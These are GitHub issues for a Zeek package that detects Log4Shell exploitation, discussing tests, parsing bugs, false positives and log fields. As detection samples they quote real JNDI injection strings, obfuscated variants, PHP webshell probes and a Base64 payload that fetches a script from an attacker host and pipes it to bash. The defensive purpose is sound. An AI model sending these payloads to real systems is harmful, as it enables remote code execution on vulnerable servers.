Improve test case coverage, primarily focused on:

1. Detecting exploit strings, and
2. payload parsing

Internally we have logs of hits from various sensors. It would be worth extracting those for test cases to make fixing failures easier. We could also identify classes of strings we fail to parse from this set, to improve the parsing w/o having to wait for bug reports.

While attempted to address #30 , I started this branch, which shows my thought process for adding tests for parse_payload. If we have a lot of those covered, it'll be easier/safer to handle one off variations.

This package generates "Senstive_Signature" notices that are redundant with the custom Notices generated by the package. For example:

https://github.com/corelight/cve-2021-44228/blob/develop/testing/Baseline/log4j.ldap_java/notice.log

The "Sensitive_Signature" notices should be silenced or filtered away..

When a domain is used instead of an IP address in the payload, there will be a DNS lookup. watch for lookups to these payload domains and flag with a notice. Will require clusterization.

    add c$http$tags[LOG4J_RCE];

is in the wrong place and is being added to ALL http logs.

Also, suggest to have these links up top of the README, as the blogs are helpful to understand what's going on a higher level. Plus, if we also reference the blogs in comments at pertinent points of the code that would be nice.

https://corelight.com/blog/detecting-log4j-exploits-via-zeek-when-java-downloads-java
https://corelight.com/blog/detecting-the-log4j-exploit-via-zeek-and-ldap-traffic
https://corelight.com/blog/simplifying-detection-of-log4shell

https://github.com/corelight/cve-2021-44228/blob/develop/scripts/CVE_2021_44228_java_GET.zeek#L69

This line needs to check for the existence of user_agent as it's populating reporter.log on a cluster I'm running this on.

I think we should add pcaps to the best on the next release, right now it feels very light on btest wise.
Adding diverse samples will help ensure we don't lose any TP, as changes are made.

• End to end exploit https://twitter.com/synbit/status/1473608147453501447?s=21 (pcaps at https://t.co/3dJUOdM7VR)

• End to end exploit https://github.com/cyberxml/log4j-poc/tree/main/data

• Scanners only, lots of noise, lots of payloads, no actual log4j exploits https://www.malware-traffic-analysis.net/2021/12/14/index.html

remove a class of FPs that occur because of the use of the ${ indicator. This is a broad indicator, and specifically chosen to detect any obfuscation attempts since the FPs were not too voluminous and they are easy to spot.

These commonly, (though not always) relate to non log4j exploit of php webshells

Examples:
/index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))}

when the scanner script is broken eg ${user_agent} etc

/index?s=index/\think\Module/Action/Param/${@phpinfo()}

....cs=3&type=amb&ovsid=${UUID}

Would it be possible to add the history field to the log4j or notice log? This can be useful when threat hunting and be able to rule out an attempt had it been reset or if it timedout for example.
Currently a customer would have to pivot on the UID to the conn log and pull the information.

Things get hairy when there are multiple IP addresses and the exploit URI doesn't have //.

e.g.:

print(parse_payload("https://18.x.x.x:443/${jndi:ldap:/10.0.16.1:1389/Exploit}"));
print(parse_payload("https://18.x.x.x:443/${jndi:ldap://10.0.16.1:1389/Exploit}"));
...
~/code/cve-2021-44228 ben-jgj*
¡ zeek scripts
[uri=10.0.16.1:1389/Exploit, stem=10.0.16.1:1389, host=10.0.16.1, port_=1389]
[uri=18.x.x.x:443/${jndi:ldap:/10.0.16.1:1389/Exploit, stem=18.x.x.x:443, host=18.x.x.x, port_=443]

The lack of the // is the issue here. This branch (https://github.com/corelight/cve-2021-44228/tree/yacin-30-wrong-payload) has tests for this if someone has a clever idea to fix this ldap:/ one, but not break the others. Tabling this for now.

Are fingerprinting certificates and/or JA3 and JA3S useful as a way to detect exploit over the LDAPS channel.
Even if a robust detection is not possible due to a myriad of JA3/S values, this functionality is often still valuable as a hunting and IR datapoint.

In the case of DNS exfiltration, we could potentially watch DNS requests for items that match a regex based on AWS/GCP/etc keys/IDs, and other artefacts that could be exfilled by DNS. This would possibly be useful in a generic sense, outside of log4j.

Reference (towards the bottom of):
https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

AWS keys
https://awsteele.com/blog/2020/09/26/aws-access-key-format.html
https://docs.aws.amazon.com/sdk-for-php/v3/developer-guide/guide_credentials_environment.html

Potentially helpful list of regexes
https://github.com/odomojuli/RegExAPI

using pcap: https://github.com/snapattack/damn-vulnerable-log4j-app/blob/main/attack-artifacts/victim/Win10Victim.pcapng

The LOG4J_JAVA_CLASS_DOWNLOAD notice doesn't fire using the existing code against this pcap. The reason is that the Server's HTTP Content-Type header said the mime-type is octet-stream (the script purposely doesn't look for octet-stream due to FP concerns) AND for some reason c$http$resp_mime_types isn't populated at the time of event http_end_entity - which is where we do the secondary check for the zeek sniffed mime-type of application/x-java-applet.
As an example of conns that should have raised a notice, the following shows the sniffed mime type application/x-java-applet (which should have raised a notice but did not), and also the headers which I've logged to show the Server's Content-Type header application/octet-stream.

1639671471.672486 CcSg4p4S7J4Zcvpa6i 10.0.0.5 54682 10.0.0.6 1337 1 GET 10.0.0.6 /Exploit.class - 1.0 Java/17.0.1 - 0 486 200 OK - - (empty) - - - - - - F7KaLT38jU1SgJDdI2 - application/x-java-applet USER-AGENT,HOST,ACCEPT,CONNECTION Java/17.0.1,10.0.0.6:1337,text/html\x2c image/gif\x2c image/jpeg\x2c *; q=.2\x2c /; q=.2,keep-alive SERVER,DATE,CONTENT-TYPE BaseHTTP/0.6 Python/3.8.10,Thu\x2c 16 Dec 2021 16:17:51 GMT,application/octet-stream
1639671472.566883 CFPQ2f2zYNUlVvpymh 10.0.0.5 54684 10.0.0.6 1337 1 GET 10.0.0.6 /Exploit.class - 1.0 Java/17.0.1 - 0 486 200 OK - - (empty) - - - - - - F4YA9e4rWZC2D8rC68 - application/x-java-applet USER-AGENT,HOST,ACCEPT,CONNECTION Java/17.0.1,10.0.0.6:1337,text/html\x2c image/gif\x2c image/jpeg\x2c *; q=.2\x2c /; q=.2,keep-alive SERVER,DATE,CONTENT-TYPE BaseHTTP/0.6 Python/3.8.10,Thu\x2c 16 Dec 2021 16:17:52 GMT,application/octet-stream

Solution should be pretty easy - look at using the http_message_done event, as c$http$resp_mime_types definitely should be populated by that stage.

Add examples for notice and log output modifications. Low priority.

I installed this package and I'm seeing some of these crop up in reporter.log and wanted to let you all know. It may have been a transient burst of these errors (I haven't seen any in a while) but I nonetheless had them occur and our checks to the custom scripts API endpoint in our monitoring seemed to not like it at all, seems worth looking into. I saw about 51 of these events in reporter.log within a 1 hour timeframe after initially loading the bundle with this package included.

{"_path":"reporter","_system_name":"redacted","_write_ts":"2021-12-15T22:53:03.090118Z","ts":"2021-12-15T22:53:03.090118Z","level":"Reporter::ERROR","message":"field value missing (CVE_2021_44228::c$http$uri)","location":"/opt/bro/share/zeek/site/packages/customer-bundle/packages/./cve-2021-44228/./CVE_2021_44228.zeek, line 111"}

This is probably not a huge deal, however, I just wanted to comment that the field names target_host and target_port in the log4j.log at first blush seem a bit misleading/confusing, but maybe I'm just being a bit pedantic? : ) My thoughts are essentially that these fields would perhaps be more aptly named something like payload_host/payload_port or callback_host/callback_port? Using the term target_ is a bit misleading in that the target is IMHO more intuitively the systems on our local networks being targeted for exploitation rather than the attacker callback/payload host and port serving up the next stage of the exploit chain which is what the log4j.log is parsing out and tracking as far as I understand it.

I'm not sure if it's maybe slightly counterproductive to change these field names now as it may cause some minor headaches for people already using the fields with SIEM queries but it might be worth it in the long run...anyhow...something to consider, thanks for the amazing work on this package, the recent enhancements are really awesome and super valuable! If this isn't worthwhile feel free to close this out, you won't hurt my feelings : )

Cater for payload obfuscation tags
examples:

${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/ callback}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-
p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNjIuMC4yMjguMjU

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNjIuMC4yMjguMjUzOjgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzE2Mi4wLjIyOC4yNTM6ODApfGJhc2g=

Raise a notice when activity in conn is seen to IP:ports that have been used in payloads. Such activity would mean a succesful exploit. requires clusterization

It is very handy when hunting and doing IR to have the id_orig_h and id_resp_h (actually even the id_orig_p and id_resp_p) in the log4j.log as fields . This is in addition to the uid which exists there already.

whitelist internal/external known-good scanners that are not interesting to the IR team.